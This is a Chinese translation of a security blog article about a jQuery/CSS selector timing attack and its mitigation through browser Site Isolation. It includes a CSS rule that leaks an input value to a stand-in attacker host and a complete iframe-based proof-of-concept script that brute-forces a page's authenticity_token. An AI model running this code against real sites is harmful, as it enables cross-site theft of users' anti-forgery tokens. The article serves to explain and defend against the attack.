PRELOADER

当前文章 : 《使用CSS选择器和基于时间的攻击的Javascript获取数据》

12/2/2019 —— 

使用CSS选择器和基于时间的攻击的Javascript获取数据

原文:https://www.netsparker.com/blog/web-security/acquiring-data-with-css-selectors-and-javascript-on-time-based-attacks/#

jQuery是JavaScript的一个库,于2006年8月发布。jQuery通过使元素选择器,事件链接和处理更容易,简化了在JavaScript中编写代码的过程。

可以很明确地说,自从jQuery发布以来,大量基于客户端的库对jQuery具有很大程度上的依赖。在本文中,我们将讨论jQuery选择器的研究以及如何将它们用作攻击,以便黑客获取数据。

首先,我们应该注意document.querySelector和CSS选择器可以使用相同的方法。但是,由于我们在本文中引用的研究证明了jQuery的概念,我们将详细介绍这种针对jQuery选择器的攻击。

使用jQuery选择器可以执行的操作示例

jQuery选择器有各种用途。jQuery选择器可帮助您调用一个或多个HTML元素,类,ID,属性值和元素索引。例如,使用此jQuery选择器,您可以选择具有“用户名”ID的元素:

$("#username")

要么

jQuery("#username)

同样,在选择元素时,可以使用相关的类值而不是ID。此代码使用formItem类选择所有元素:

$(".formItem")

要么

jQuery(".formItem")

也可以使用jQuery中的元素属性进行选择。例如,我们可以使用以下代码选择其类型设置为“password”的所有输入:

jQuery("input[type='password']")

jQuery可以同时使用多个选择器。例如,我们可以使用此选择器选择其类型设置为“text”的所有元素,并且是formElement类:

jQuery(".formElement[type='text']")

jQuery还允许使用startWith并包含运算符作为属性选择器。例如,输入[value ^ =’x’]选择器将选择其值以“x”开头的所有输入。

jQuery(location.hash)

使用网址,我们可以让网络知道我们要求的内容,我们要求的内容以及相关权限。

URL的片段(也称为锚点)是散列(#)之后的部分。携带片段ID的HTML元素可以在页面上滚动。当向下面的URL发出请求时,页面将向下滚动到与ID属性对应的相应片段。

https://www.example.com/#contactForm

使用多个jQuery选择器的定时攻击示例

我们已经声明可以同时使用多个jQuery选择器。现在我们将分享一个比较好的思路。

如果您在浏览器的控制台上执行以下代码(Ctrl-Shift-KCtrl-Shift-J),您将看到它产生延迟结果:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body")

现在执行以下代码:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body[noAttribute='noExist']")

由于页面没有noAttribute属性为'noExist' 的元素,因此该命令将没有延迟。为什么第一个命令需要这么长时间,那么第二个命令是否立即发生?

元素选择器从右到左的评估

这是选择器的技巧发挥作用的时候。由于元素选择器是从右到左计算的,当选择器意识到页面没有与noAttribute属性匹配且具有“noExist”值的body元素时,选择器将解除命令的其余部分。

为什么浏览器会以这种方式运行?我们可以使用来自Stack Overflow的CSS Trick的引用来回复此问题:

…在这种情况下,浏览器正在查看它所考虑的大多数选择器与所讨论的元素不匹配。所以问题就变成了决定选择器不尽可能快的问题; 如果在匹配的情况下需要一些额外的工作,由于您在不匹配的情况下保存的所有工作,您仍然会赢。

执行selector命令后,浏览器将访问所有DOM元素。如果它开始从左到右访问每个元素,它将搜索所有输入元素,那么它将必须控制其余元素是否具有formItem类。

但是,如果比较过程是从右到左执行的,那么只需要那些具有formItem类的元素,然后只选择那些具有输入类型的元素。

由于定义选择器是最后一个,因此从右到左的比较过程会快得多。考虑到这一点,我们可以使用基于时间的攻击从网页获取数据。

时间攻击与基于布尔攻击的区别

黑客可以使用基于布尔方法的CSS选择器从服务器中提取数据。通过这种方式,他们可以从他们控制的服务器请求资源。但是,元素有义务支持CSS属性,如background / background-image,list-style / list-style-image。

<style>
#username[value="mikeg"] {
background:url("https://attacker.host/mikeg");
}
</style>
<input id="username" value="mikeg" />

本文中方法的一个优点是它没有类似的约束。使用此方法,您可以使用此代码获取认证:

*:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x']

测量定时攻击中的经过时间

我们的攻击是基于时间的,我们如何衡量经过的时间?Eduardo Vela,2014年撰写,提出了这样的解释:

他表示我们可以衡量基于时间的攻击所用的时间。在攻击者和受害者的网站在同一个线程上工作的情况下,在受害者网站上花费一段时间的加载将减慢攻击者网站上的进程,允许攻击者测量经过的时间。

时间攻击漏洞的详细信息

攻击者在iframe中加载被攻击网站,使用setTimeout函数指定一个稍后会起作用的函数(回调)。然后,使用哈希选择器在被攻击者的网站上发出请求。

由于hashchange处理程序的结果需要时间,因此将延迟回调,这将window.performance.now函数测量:

<script>
        const WAIT_TIME = 6;
        const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";

        const wait = ms => new Promise(resolve => setTimeout(resolve, ms));

        function get_execution_time(selector) {
            var t0 = window.performance.now();

            var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))

            window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + ","+Math.random();

            return p;
        }

        function measure_time(t0) {
            var t = window.performance.now() - t0;
            return t;
        }


        const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
        const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";

        async function binary_search(prefix, characters) {
            console.log("Testing '" + characters + "'");
            if (characters.length == 1) {
                return characters[0];
            }

            var mid = Math.floor(characters.length/2);
            var s1 = make_selector(prefix, characters.slice(0, mid));
            var s2 = make_selector(prefix, characters.slice(mid, characters.length));

            var t1 = await get_execution_time(s1);
            var t2 = await get_execution_time(s2);

            if (approximately_equal(t1, t2)) {
                return null;
            }
            else if (t1 < t2) {
                return binary_search(prefix, characters.slice(mid, characters.length));
            }
            else {
                return binary_search(prefix, characters.slice(0, mid));
            }
        }

        function make_selector(prefix, characters) {
            return characters
                .split("")
                .map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
                .join(",");
        }

        function approximately_equal(t1, t2) {
            var diff = Math.abs(t1 - t2);
            return diff <= 0.2*t1 || diff <= 0.2*t2;
        }

        const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
        const TOKEN_LENGTH = 43;

        async function bruteforce_token() {
            var backtracks = 0;
            var t0 = window.performance.now();
            var misses = 0;
            var token = "";
            while (token.length < TOKEN_LENGTH) {
                var c = await binary_search(token, BASE64_CHARS);
                if (c === null) {
                    misses++;
                    if (misses == 3) {
                        token = token.slice(0, -1); // Backtrack
                        backtracks++;
                    }
                }
                else {
                    token += c;
                    misses = 0;
                }
                document.getElementById("token").innerHTML = token;
                document.getElementById("percent").innerHTML = Math.round(100*token.length/TOKEN_LENGTH) + "%";
            }
            token += "=";
            document.getElementById("token").innerHTML = token;
            var elapsed = window.performance.now() - t0;
            return {token, elapsed, backtracks};
        }

        window.onload = function() {
            if (location.search === "?attack") {
                bruteforce_token().then(({token, elapsed, backtracks}) => {
                    wait(0).then(_ => alert("Found " + token + " in " + elapsed/1000 + " seconds with " + backtracks + " backtracks"));
                });
            }
        }
    </script>

<body>
    <iframe src="https://labs.sheddow.xyz/fsf.html"></iframe>
    <div class="box" id="token"></div>
    <div class="box" id="percent"></div>
</body>

防止基于时间的攻击

此攻击使用iframe,这可能会导致某些人认为设置X-Frame-Options标头会阻止网站加载到iframe中,从而完全避免攻击。

但事实并非如此,因为攻击者可以使用window.open和延迟回调执行相同的操作。

我们已经提到过,只有当攻击者和受害者的网站在同一个线程上工作时,才能进行定时攻击。但是,如果网站在不同的线程上工作怎么办?

在这种情况下,您只能使用站点隔离来阻止攻击。站点隔离是Chrome 63中引入的一项新功能。这意味着不管选项卡或iframe如何,不同来源的网站都必须作为单独的进程运行。

现场隔离的一些最终要点

Chrome 63及更高版本默认禁用站点隔离。您必须访问chrome:// flags / #enable-site-per-process以启用站点隔离。

更改此设置后,您还必须立即重新启动浏览器,您也可以为特定来源启用站点隔离,启动Chrome时,您可以使用以下参数执行此操作:

--isolate-origins=https://google.com,https://youtube.com

浏览器会自动确认以下站点隔离错误:

  1. 如果在所有网站上启用了站点隔离,则会额外增加10-20%的性能开销。可以在某些网站上启用该功能以减少开销。

  2. 加载不同来源的iframe在显示的HTML页面上看起来是空白的。

  3. 在某些情况下,点击和滚动在具有不同来源的iframe中无法正常工作。

标题对唯一攻击向量无效

在本文中,我们探讨了jQuery元素选择器的使用及其在Sigurd Kolltveit发现的定时攻击中的作用。我们分享了Eduardo Velo的研究,

他在博客上发表了关于测量基于时间的攻击的创新方法。如上所述,有时标题不足以对抗唯一的攻击向量,并且用户必须采取其他预防措施,例如启用站点隔离。